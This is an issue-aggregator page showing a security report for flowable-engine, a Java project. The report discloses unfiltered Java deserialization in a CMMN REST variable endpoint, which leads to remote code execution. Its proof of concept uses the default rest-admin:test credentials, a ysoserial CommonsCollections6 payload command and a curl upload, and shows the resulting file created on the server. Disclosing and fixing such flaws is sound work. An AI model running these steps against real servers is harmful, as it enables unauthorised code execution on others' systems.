Hacktoberfest 2026:维护者为十月标记出来的 issue,仍然开放、适合新手。 浏览 Hacktoberfest issue

[SECURITY] Deserialization RCE via CMMN REST PlanItemInstance variable endpoint with type=serializable (CWE-502, CVSS 8.1)

未关闭
#4,280 2 条评论 0 个 reaction 已指派 0 人 在 GitHub 查看

维护者通常 1 天内回复

还没有人认领这个 Issue。

评估

难度
4/5
预计耗时
3-5 天
新手友好度
30/100
Issue 类型
缺陷
描述清晰度
描述清楚
活跃度
活跃
技术栈
java
领域
security

调研方向

The vulnerability is in BaseVariableResource.java lines 365-367, where ObjectInputStream.readObject() deserializes user input without filtering. Start by examining the flow from PlanItemInstanceVariableCollectionResource.createPlanItemInstanceVariable() through setBinaryVariable(). Understand the configuration property 'rest.variables.allow.serializable'. Done looks like implementing a safe deserialization method, such as using an ObjectInputFilter, and ensuring the fix is tested.

由索引模型根据 Issue 内容生成。

描述

Flowable CMMN REST PlanItemInstance Variable Endpoint Deserialization RCE

Summary

The Flowable CMMN REST module's PlanItemInstanceVariableCollectionResource.createPlanItemInstanceVariable() endpoint allows uploading files via multipart/form-data to create plan item instance variables. When the type parameter is serializable, the system uses Java native ObjectInputStream.readObject() to deserialize the user-uploaded file content, with no class filtering applied (no whitelist, no blacklist, no ObjectInputFilter). The classpath contains commons-collections-3.2.2.jar, providing the CommonsCollections6 deserialization gadget chain. An attacker can construct a malicious serialized object to achieve remote code execution (RCE).

Affected Version & Commit

Vulnerability Description

Trigger Location

file: modules/flowable-cmmn-rest/src/main/java/org/flowable/cmmn/rest/service/api/runtime/caze/BaseVariableResource.java
line: 365-367

// Try deserializing the object
ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
Object value = stream.readObject();
setVariable(instanceId, variableName, value, scope, isNew, async, variableInterceptor);
stream.close();
Data Flow
HTTP POST /flowable-rest/cmmn-api/cmmn-runtime/plan-item-instances/{planItemInstanceId}/variables
  (Content-Type: multipart/form-data, file=<malicious serialized payload>, name=xxx, type=serializable)
    ↓
PlanItemInstanceVariableCollectionResource.createPlanItemInstanceVariable()
  PlanItemInstanceVariableCollectionResource.java:70-74
  Calls getPlanItemInstanceFromRequest() to validate plan item existence, then calls createVariable()
    ↓
BaseVariableResource.createVariable(PlanItemInstance, boolean, HttpServletRequest, HttpServletResponse)
  BaseVariableResource.java:188-191
    ↓
BaseVariableResource.createVariable(String, int, boolean, HttpServletRequest, ...)
  BaseVariableResource.java:193-264
  Detects request instanceof MultipartHttpServletRequest → true
  Calls setBinaryVariable()
    ↓
BaseVariableResource.setBinaryVariable(MultipartHttpServletRequest, ...)
  BaseVariableResource.java:303-391
  Parses type=serializable → enters else if (isSerializableVariableAllowed) branch
    ↓
ObjectInputStream.readObject()  ← SINK
  BaseVariableResource.java:365-366
  Directly deserializes user-uploaded file content, no class filtering → RCE
Configuration Switch (Enabled by Default)

BaseVariableResource.java:67:

isSerializableVariableAllowed = env.getProperty("rest.variables.allow.serializable", Boolean.class, true);

Defaults to true, meaning the deserialization path is directly reachable under default configuration.

Affected Endpoints

  • POST /flowable-rest/cmmn-api/cmmn-runtime/plan-item-instances/{planItemInstanceId}/variables (port 8080)

Exploitation Conditions

Condition Description
Authentication Requires valid HTTP Basic auth credentials (any registered Flowable user; default provides rest-admin:test account)
Network reachability Internal network/public (HTTP reachable REST port 8080)
Configuration dependency rest.variables.allow.serializable=true (enabled by default); CMMN REST API endpoint exposed
Other prerequisites At least one active plan item instance must exist in the database; classpath contains commons-collections-3.2.2.jar

Proof of Concept

# 1. Get available plan item instance list (if none, deploy CMMN case and start instance first)
curl -s -u rest-admin:test \
  "http://localhost:8080/flowable-rest/cmmn-api/cmmn-runtime/plan-item-instances"

# 2. Generate CommonsCollections6 payload using ysoserial
java --add-opens java.base/java.util=ALL-UNNAMED \
     --add-opens java.base/java.lang=ALL-UNNAMED \
     --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
     --add-opens java.base/java.text=ALL-UNNAMED \
     --add-opens java.desktop/java.awt.font=ALL-UNNAMED \
     --add-opens java.base/java.util.concurrent=ALL-UNNAMED \
     --add-opens java.base/java.net=ALL-UNNAMED \
     -jar ysoserial-all.jar CommonsCollections6 \
     "touch /tmp/pwned_0405" > payload.ser

# 3. Send payload to target plan item instance
curl -X POST \
  -u rest-admin:test \
  "http://localhost:8080/flowable-rest/cmmn-api/cmmn-runtime/plan-item-instances/{planItemInstanceId}/variables" \
  -F "name=exploit" \
  -F "type=serializable" \
  -F "scope=local" \
  -F "[email protected]"

Actual execution results:

Payload send request returns HTTP 201 Created:

{
  "name": "CommonsCollections6",
  "type": "serializable",
  "value": null,
  "valueUrl": "http://localhost:8080/flowable-rest/cmmn-api/cmmn-runtime/plan-item-instances/d3159c3e-8ffe-11f1-a444-02423661ba3a/variables/CommonsCollections6/data",
  "scope": "local"
}

RCE execution result confirmation:

$ ls -la /tmp/pwned_0405
-rw-r----- 1 root root 0 Aug  4 12:22 /tmp/pwned_0405

Exploitation Chain Progress

Chain Stage Location (file:line) Status Evidence / Notes
Entry PlanItemInstanceVariableCollectionResource.java:70 ✅ Connected HTTP POST multipart request reached CMMN REST endpoint
Existence validation BaseVariableResource.java:70-75 ✅ Connected planItemInstanceId validated via parameterized query
Multipart detection BaseVariableResource.java:193 ✅ Connected request instanceof MultipartHttpServletRequest = true
Type branch BaseVariableResource.java:363 ✅ Connected type=serializable → isSerializableVariableAllowed=true (default)
Sink BaseVariableResource.java:365-366 ✅ Triggered ObjectInputStream.readObject() executes deserialization, triggers CC6 chain
RCE result System filesystem ✅ Success Server created file /tmp/pwned_0405, HTTP 201 confirms variable storage success

Impact

  1. Deserialization vulnerability confirmed: The server successfully received and deserialized the CommonsCollections6 payload via ObjectInputStream.readObject()
  2. RCE confirmed: The touch /tmp/pwned_0405 command in the payload executed successfully on the server, file created (timestamp Aug 4 12:22, matching request time)
  3. HTTP 201 response proves the deserialized object was stored as a plan item instance variable with no exception thrown
  4. No class filtering protection: No ObjectInputFilter, whitelist, or blacklist configured in the code; readObject() called directly

Severity

CVSS v3.1: 8.1 (High)
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
CWE: CWE-502 (Deserialization of Untrusted Data)

Credit

  • Jiecub3 (GitHub ID: 87791178)
  • Aur0ra-m (GitHub ID: 103031059)
  • lz2y (GitHub ID: 55266300)
主要语言
Java
星标
9.6k
派生
2.9k
平均合并
1 天 3 小时
30 天内合并 PR
6

环境准备

  • 没有 Dockerfile 或 Docker Compose 文件
  • 有 Pull Request 模板
  • 没有贡献指南

从这里开始

  1. 先读完整个 Issue,再读项目的贡献指南。
  2. 在 Issue 下留言说明你要接手 —— 这能避免两个人做同样的事。
  3. Fork 仓库,在一个分支上完成修改。
  4. 提交 Pull Request,并在描述里引用这个 Issue 编号。

flowable/flowable-engine 的其他 Issue

查看 flowable/flowable-engine 的全部 Issue

相似的 Issue

更多 Java Issue

把新 issue 发到你的邮箱

精选适合新手参与的 GitHub issue 摘要。